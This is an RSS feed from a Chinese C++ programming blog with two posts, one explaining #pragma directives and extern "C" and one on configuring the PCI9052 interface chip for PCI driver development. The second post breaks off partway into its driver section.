﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-binghuo</title><link>http://www.cppblog.com/binghuo/</link><description /><language>zh-cn</language><lastBuildDate>Thu, 23 Apr 2026 10:14:15 GMT</lastBuildDate><pubDate>Thu, 23 Apr 2026 10:14:15 GMT</pubDate><ttl>60</ttl><item><title>#pragma和extern "C"</title><link>http://www.cppblog.com/binghuo/archive/2009/03/17/76873.html</link><dc:creator>冰火</dc:creator><author>冰火</author><pubDate>Tue, 17 Mar 2009 08:15:00 GMT</pubDate><guid>http://www.cppblog.com/binghuo/archive/2009/03/17/76873.html</guid><wfw:comment>http://www.cppblog.com/binghuo/comments/76873.html</wfw:comment><comments>http://www.cppblog.com/binghuo/archive/2009/03/17/76873.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/binghuo/comments/commentRss/76873.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/binghuo/services/trackbacks/76873.html</trackback:ping><description><![CDATA[<p>#pragma 预处理指令详解 <br>　　在所有的预处理指令中，#Pragma 指令可能是最复杂的了，它的作用是设定编译器的状态或者是指示编译器完成一些特定的动作。#pragma指令对每个编译器给出了一个方法,在保持与C和C++语言完全兼容的情况下,给出主机或操作系统专有的特征。依据定义,编译指示是机器或操作系统专有的,且对于每个编译器都是不同的。 <br>　　其格式一般为: #Pragma Para <br>　　其中Para 为参数，下面来看一些常用的参数。 <br>　　(1)message 参数。 Message 参数是我最喜欢的一个参数，它能够在编译信息输出窗口中输出相应的信息，这对于源代码信息的控制是非常重要的。其使用方法为： <br>　　#Pragma message(&#8220;消息文本&#8221;) <br>　　当编译器遇到这条指令时就在编译输出窗口中将消息文本打印出来。 <br>　　当我们在程序中定义了许多宏来控制源代码版本的时候，我们自己有可能都会忘记有没有正确的设置这些宏，此时我们可以用这条指令在编译的时候就进行检查。假设我们希望判断自己有没有在源代码的什么地方定义了_X86这个宏可以用下面的方法 <br>　　#ifdef _X86 <br>　　#Pragma message(&#8220;_X86 macro activated!&#8221;) <br>　　#endif <br>　　当我们定义了_X86这个宏以后，应用程序在编译时就会在编译输出窗口里显示&#8220;_X86 macro activated!&#8221;。我们就不会因为不记得自己定义的一些特定的宏而抓耳挠腮了。 <br>　　(2)另一个使用得比较多的pragma参数是code_seg。格式如： <br>　　#pragma code_seg( ["section-name"[,"section-class"] ] ) <br>　　它能够设置程序中函数代码存放的代码段，当我们开发驱动程序的时候就会使用到它。 <br>　　(3)#pragma once (比较常用） <br>　　只要在头文件的最开始加入这条指令就能够保证头文件被编译一次，这条指令实际上在VC6中就已经有了，但是考虑到兼容性并没有太多的使用它。 <br>　　(4)#pragma hdrstop表示预编译头文件到此为止，后面的头文件不进行预编译。BCB可以预编译头文件以加快链接的速度，但如果所有头文件都进行预编译又可能占太多磁盘空间，所以使用这个选项排除一些头文件。 <br>　　有时单元之间有依赖关系，比如单元A依赖单元B，所以单元B要先于单元A编译。你可以用#pragma startup指定编译优先级，如果使用了#pragma package(smart_init) ，BCB就会根据优先级的大小先后编译。 <br>　　(5)#pragma resource "*.dfm"表示把*.dfm文件中的资源加入工程。*.dfm中包括窗体外观的定义。 <br>　　(6)#pragma warning( disable : 4507 34; once : 4385; error : 164 ) <br>　　等价于： <br>　　#pragma warning(disable:4507 34) // 不显示4507和34号警告信息 <br>　　#pragma warning(once:4385) // 4385号警告信息仅报告一次 <br>　　#pragma warning(error:164) // 把164号警告信息作为一个错误。 <br>　　同时这个pragma warning 也支持如下格式： <br>　　#pragma warning( push [ ,n ] ) <br>　　#pragma warning( pop ) <br>　　这里n代表一个警告等级(1---4)。 <br>　　#pragma warning( push )保存所有警告信息的现有的警告状态。 <br>　　#pragma warning( push, n)保存所有警告信息的现有的警告状态，并且把全局警告等级设定为n。 <br>　　#pragma warning( pop )向栈中弹出最后一个警告信息，<br>　　在入栈和出栈之间所作的一切改动取消。例如： <br>　　#pragma warning( push ) <br>　　#pragma warning( disable : 4705 ) <br>　　#pragma warning( disable : 4706 ) <br>　　#pragma warning( disable : 4707 ) <br>　　//....... <br>　　#pragma warning( pop ) <br>　　在这段代码的最后，重新保存所有的警告信息(包括4705，4706和4707)。 <br>　　(7)pragma comment(...) <br>　　该指令将一个注释记录放入一个对象文件或可执行文件中。 <br>　　常用的lib关键字，可以帮我们连入一个库文件。 <br>　　每个编译程序可以用#pragma指令激活或终止该编译程序支持的一些编译功能。例如，对循环优化功能： <br>　　#pragma loop_opt(on) // 激活 <br>　　#pragma loop_opt(off) // 终止 <br>　　有时，程序中会有些函数会使编译器发出你熟知而想忽略的警告，如&#8220;Parameter xxx is never used in function xxx&#8221;，可以这样： <br>　　#pragma warn —100 // Turn off the warning message for warning #100 <br>　　int insert_record(REC *r) <br>　　{ /* function body */ } <br>　　#pragma warn +100 // Turn the warning message for warning #100 back on <br>　　函数会产生一条有唯一特征码100的警告信息，如此可暂时终止该警告。 <br>　　每个编译器对#pragma的实现不同，在一个编译器中有效在别的编译器中几乎无效。可从编译器的文档中查看。</p>
<p>------------------------------------------------------------------------------------------------------------------------------</p>
<p>如果要在C++程序中引用C程序中的变量，要在extern后加"C"。在appmodul.cpp(MFC核心头文件)中有一个例子extern "C" int WINAPI，引用了crtexe.c里的WINAPI变量。<br>　　常用的 extern "C" 是把导出函数声明为C编译。由于C++编译器在编译的时候会造成其函数名的该变，在其他应用程序中导致函数不可调用，而C编译器则不会在编译后改变其函数名。这样如果用C编译的程序来调用该dll中的函数时，可能会造成找不到该函数。但若要实现函数的重载应该使用def文件。<br></p>
<img src ="http://www.cppblog.com/binghuo/aggbug/76873.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/binghuo/" target="_blank">冰火</a> 2009-03-17 16:15 <a href="http://www.cppblog.com/binghuo/archive/2009/03/17/76873.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PCI9052接口芯片的配置及驱动程序开发</title><link>http://www.cppblog.com/binghuo/archive/2009/03/12/76363.html</link><dc:creator>冰火</dc:creator><author>冰火</author><pubDate>Thu, 12 Mar 2009 11:46:00 GMT</pubDate><guid>http://www.cppblog.com/binghuo/archive/2009/03/12/76363.html</guid><wfw:comment>http://www.cppblog.com/binghuo/comments/76363.html</wfw:comment><comments>http://www.cppblog.com/binghuo/archive/2009/03/12/76363.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/binghuo/comments/commentRss/76363.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/binghuo/services/trackbacks/76363.html</trackback:ping><description><![CDATA[<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">0 </span><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">引言<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">如果把<span lang=EN-US>PC</span>机作为控制系统的操作平台，<span lang=EN-US>PCI</span>总线作为一种先进的高性能<span lang=EN-US>32</span>／<span lang=EN-US>64</span>位局部总线正迅速取代原来的<span lang=EN-US>ISA</span>总线的主导地位，以用于高速外设，并成为微型计算机系统的主流系统，因而也成为工程开发人员用于工业控制的首选。为了缩短开发周期，一般都采用专用的接口器件。本文就是采用<span lang=EN-US>PLX</span>公司的<span lang=EN-US><a title=PCI9052货源和PDF资料 href="http://www.ic37.com/PCI9052-p.htm" target=_blank><span style="COLOR: #00007f; TEXT-DECORATION: none; mso-bidi-font-size: 12.0pt; text-underline: none">PCI9052</span></a></span>来把<span lang=EN-US>PCI</span>总线上的操作转换为对局部总线的操作，同时通过双口<span lang=EN-US>RAM</span>实现和下位机的存储转接。针对一般<span lang=EN-US>PCI</span>总线开发时由于软硬件分离使开发的软硬件不能很好结合的现象，本文结合实例介绍了应用程序并给出了如何通过<span lang=EN-US>DriverStudio</span>开发的<span lang=EN-US>PCI</span>设备驱动程序来访问<span lang=EN-US>PCI</span>设备卡硬件资源的具体程序。<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><strong><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">1 PCI</span></strong><strong><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">的配置空间及其配置</span></strong><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt"> <o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">PCI</span><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">总线支持存储器地址空间、<span lang=EN-US>I</span>／<span lang=EN-US>O</span>地址空间和配置空间等三个物理空间。其中，配置空间是<span lang=EN-US>PCI</span>总线所特有的一个空间，<span lang=EN-US>PCI</span>总线能实现即插即用的功能，正是通过它特有的配置空间来实现的。<span lang=EN-US>PCI</span>配置空间的大小为<span lang=EN-US>256</span>字节，分为头标区和设备有关区。直接影响设备特性的配置寄存器在头标区，其他部分则因设备而异。<span lang=EN-US>PCI</span>总线的配置空间通常与<span lang=EN-US>PCI</span>接口芯片相关。该配置空间包括一系列的<span lang=EN-US>PCI</span>配置寄存器。本文采用的<span lang=EN-US><a title=PCI9052货源和PDF资料 href="http://www.ic37.com/PCI9052-p.htm" target=_blank><span style="COLOR: #00007f; TEXT-DECORATION: none; mso-bidi-font-size: 12.0pt; text-underline: none">PCI9052</span></a></span>芯片的配置寄存器分为<span lang=EN-US>PCI</span>配置寄存器和局部配置寄存器，二者都可以由<span lang=EN-US>PCI</span>总线和串行<span lang=EN-US><a title=EEPROM货源和PDF资料 href="http://www.ic37.com/EEPROM-p.htm" target=_blank><span style="COLOR: #00007f; TEXT-DECORATION: none; mso-bidi-font-size: 12.0pt; text-underline: none">EEPROM</span></a></span>访问。<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">在<span lang=EN-US>PCI</span>配置寄存器中的设备<span lang=EN-US>ID</span>、制造商<span lang=EN-US>ID</span>、版本号、首区类代码、类别代码、指令寄存器和状态寄存器等寄存器在所有的<span lang=EN-US>PCI</span>设备中都必须实现，具体设置可参考文献<span lang=EN-US>[1]</span>。通常情况下，操作系统可使用这些寄存器的内容来决定该<span lang=EN-US>PCI</span>设备的加载其驱动程序。<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">PCI</span><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">总线最重要的功能之一是通过基地址寄存器和局部配置寄存器在地址空间重定位<span lang=EN-US>PCI</span>设备。系统上电时，通过上层应用软件能判断系统中存在那些设备，并建立协调的地址映射。所以，基地址寄存器和局部配置寄存器是实现驱动程序的关键。<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">PCI</span><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">配置寄存器提供有<span lang=EN-US>6</span>个基地址寄存器<span lang=EN-US>(BASE0</span>～<span lang=EN-US>BASE5)</span>这些基地址都是系统中的物理地址，其中<span lang=EN-US>BASE0</span>和<span lang=EN-US>BASE1</span>是用来访问局部配置寄存器的基地址，<span lang=EN-US>BASE0</span>是映射到内存的基地址，<span lang=EN-US>BASE1</span>是映射到<span lang=EN-US>I</span>／<span lang=EN-US>O</span>的基地址，可用于通过内存和<span lang=EN-US>I</span>／<span lang=EN-US>O</span>来访问局部配置寄存器。这两个基地址可固定用于<span lang=EN-US><a title=PCI9052货源和PDF资料 href="http://www.ic37.com/PCI9052-p.htm" target=_blank><span style="COLOR: #00007f; TEXT-DECORATION: none; mso-bidi-font-size: 12.0pt; text-underline: none">PCI9052</span></a></span>芯片的寄存器操作。<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">通过<span lang=EN-US>BASE2</span>～<span lang=EN-US>BASE5</span>四个空间最多可以访问局部端所接的<span lang=EN-US>4</span>个芯片，实现<span lang=EN-US>4</span>个局部地址空间<span lang=EN-US>(</span>局部空间<span lang=EN-US>0</span>～<span lang=EN-US>3)</span>的<span lang=EN-US>PCI</span>总线访问。<span lang=EN-US>PCI</span>总线对局部端所接芯片的局部地址映射是通过<span lang=EN-US>4</span>个寄存器组<span lang=EN-US>(PCI</span>基地址寄存器，局部范围寄存器，局部基地址寄存器，局部总线区域描述符<span lang=EN-US>)</span>来实现的。这个组定义了每个空间以及相应局部空间的特性。它们将局部端的芯片通过局部端地址<span lang=EN-US>(</span>在局部配置寄存器中设置<span lang=EN-US>)</span>翻译成<span lang=EN-US>PCI</span>总线地址，也就是将本地的芯片映射到系统的内存或<span lang=EN-US>I</span>／<span lang=EN-US>O</span>口。而片选信号寄存器则是用来选定这些局部端所接的芯片的。这样，用程序操作这一段内存<span lang=EN-US>(</span>或<span lang=EN-US>I</span>／<span lang=EN-US>O)</span>实际上就是对本地芯片的操作。其映射关系如图<span lang=EN-US>1</span>所示。这些寄存器的内容必须在芯片复位时通过串行<span lang=EN-US>E2PROM</span>进行加载，而正确配置<span lang=EN-US>E2PROM</span>的内容则是使用<span lang=EN-US><a title=PCI9052货源和PDF资料 href="http://www.ic37.com/PCI9052-p.htm" target=_blank><span style="COLOR: #00007f; TEXT-DECORATION: none; mso-bidi-font-size: 12.0pt; text-underline: none">PCI9052</span></a></span>的关键。<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">本设计选取<span lang=EN-US>LAS0(Local Address Space 0)</span>来访问局部端的双口<span lang=EN-US>RAM</span>芯片中的<span lang=EN-US>2 KB</span>寻址空间，与其有关的寄存器有四个：<span lang=EN-US>LAS0</span>范围寄存器、<span lang=EN-US>LAS0</span>局部基址寄存器、<span lang=EN-US>LAS0</span>局部总线区域描述符和片选<span lang=EN-US>0</span>基址寄存器。<span lang=EN-US>LAS0</span>范围寄存器规定了地址空间的大小。由于需要<span lang=EN-US>2 KB</span>的内存空间，而计算机预留了<span lang=EN-US>32 KB</span>空间<span lang=EN-US>(</span>即<span lang=EN-US>8000H)</span>，所以其寄存器值为<span lang=EN-US>0xFFFF8000H</span>，而类型则是不可预取的；<span lang=EN-US>LAS0</span>局部基地址寄存器定义了设备卡资源上所占用的基地址，它的最终目的是将这个基地址重新映射到<span lang=EN-US>PCI</span>地址空间。由于基地址必须是<span lang=EN-US>32KB</span>的整数倍，因此，为方便起见，可以将基地址定为<span lang=EN-US>00000000H</span>，又由于位<span lang=EN-US>0</span>为空间使能位，所以，寄存器的值为<span lang=EN-US>00000001H</span>；<span lang=EN-US>LAS0</span>局部总线区域描述符用来定义地址空间<span lang=EN-US>0</span>的具体工作特性。<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">该总线采用<span lang=EN-US>16</span>位总线宽度，工作方式定义为不使能突发和不预取，因此，该寄存器的数值初步确定为<span lang=EN-US>4043A1C0H</span>，最终的值则需要不断测试才能确定；片选<span lang=EN-US>0</span>基址寄存器使用<span lang=EN-US><a title=PCI9052货源和PDF资料 href="http://www.ic37.com/PCI9052-p.htm" target=_blank><span style="COLOR: #00007f; TEXT-DECORATION: none; mso-bidi-font-size: 12.0pt; text-underline: none">PCI9052</span></a></span>的<span lang=EN-US>CS0#</span>作为双口<span lang=EN-US>RAM</span>的片选信号，<span lang=EN-US>CS0#</span>片选信号的起始地址和地址范围由片选<span lang=EN-US>0</span>基址寄存器设置，局部总线的容量是<span lang=EN-US>2 KB</span>，第<span lang=EN-US>11</span>位为<span lang=EN-US>1</span>，基地址是该范围的<span lang=EN-US>16</span>倍，一般将倍数放置在范围位之后，所以寄存器值设置为<span lang=EN-US>0xO008401</span>。当从局部空间<span lang=EN-US>0</span>基址开始的<span lang=EN-US>2 KB</span>空间范围落在<span lang=EN-US>CS0</span>基地址寄存器所设置的范围内，<span lang=EN-US>CS0</span>端有效，这种方式可减少地址译码得到的片选逻辑。<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">用<span lang=EN-US>PLX9052</span>可将<span lang=EN-US>PCI</span>总线上的操作转换为对局部总线的操作，即通过<span lang=EN-US>LAD0</span>～<span lang=EN-US>LAD7</span>、<span lang=EN-US>RD</span>、<span lang=EN-US>WR</span>、<span lang=EN-US>CS</span>等对局部端芯片访问。如果系统分配给本卡的存储空间为<span lang=EN-US>FFFF0000H</span>～<span lang=EN-US>FFFF7FFFFH</span>。那么，当系统通过<span lang=EN-US>PCI</span>总线访问这个区域时，<span lang=EN-US>PLX9052</span>就会应答，并将其转换为局部地址<span lang=EN-US>0x0000H</span>～<span lang=EN-US>0x07FFH</span>，另外，<span lang=EN-US>PLX9052</span>自身也有一些内部寄存器，它们被自动映射到另一片内存区域，可通过<span lang=EN-US>PCI</span>总线直接访问。<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt"><a title=PCI9052货源和PDF资料 href="http://www.ic37.com/PCI9052-p.htm" target=_blank><span style="COLOR: #00007f; TEXT-DECORATION: none; mso-bidi-font-size: 12.0pt; text-underline: none">PCI9052</span></a></span><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">提供了两种类型的中断源<span lang=EN-US>(</span>硬件中断和软件中断<span lang=EN-US>)</span>。中断可通过<span lang=EN-US><a title=PCI9052货源和PDF资料 href="http://www.ic37.com/PCI9052-p.htm" target=_blank><span style="COLOR: #00007f; TEXT-DECORATION: none; mso-bidi-font-size: 12.0pt; text-underline: none">PCI9052</span></a></span>中断控制／状态寄存器来<span lang=EN-US>(INTCSR)</span>允许和禁止。<span lang=EN-US><a title=PCI9052货源和PDF资料 href="http://www.ic37.com/PCI9052-p.htm" target=_blank><span style="COLOR: #00007f; TEXT-DECORATION: none; mso-bidi-font-size: 12.0pt; text-underline: none">PCI9052</span></a></span>通过<span lang=EN-US>2</span>个局部中断引脚来实现硬件中断，它们支持边缘和电平触发中断，可以通过对<span lang=EN-US>INTCSR</span>寄存器的编程来实现局部中断，然后产生<span lang=EN-US>PCI</span>中断<span lang=EN-US>(INTA)</span>，并生成<span lang=EN-US>PCI</span>中断<span lang=EN-US>INTA#</span>方式。<span lang=EN-US><a title=PCI9052货源和PDF资料 href="http://www.ic37.com/PCI9052-p.htm" target=_blank><span style="COLOR: #00007f; TEXT-DECORATION: none; mso-bidi-font-size: 12.0pt; text-underline: none">PCI9052</span></a></span>可以软件方式产生中断，设计时只需要将<span lang=EN-US>INTCSR</span>寄存器的软件中断位设置为<span lang=EN-US>1</span>即可。<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><strong><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">2 </span></strong><strong><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">驱动程序的开发</span></strong><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt"> <o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">在开发<span lang=EN-US>PCI</span>板卡功能驱动程序之前，首先要明白所需的<span lang=EN-US>PCI</span>硬件资源，并针对设备卡的硬件资源来处理<span lang=EN-US>PCI</span>设备的内存、端口的读写，以及中断处理，从而实现<span lang=EN-US>PCI</span>设备功能。<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><strong><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">2.1 </span></strong><strong><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">驱动程序在操作系统体系结构中的位置</span></strong><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt"> <o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">操作系统结构可分为五层模型：<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">(1)</span><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">用户应用程序；<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">(2)IO</span><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">管理层；<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">(3)</span><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">驱动程序；<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">(4)HAL(</span><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">硬件抽象层<span lang=EN-US>)</span>；<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">(5)</span><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">硬件。<span lang=EN-US> <o:p></o:p></span></span></p>
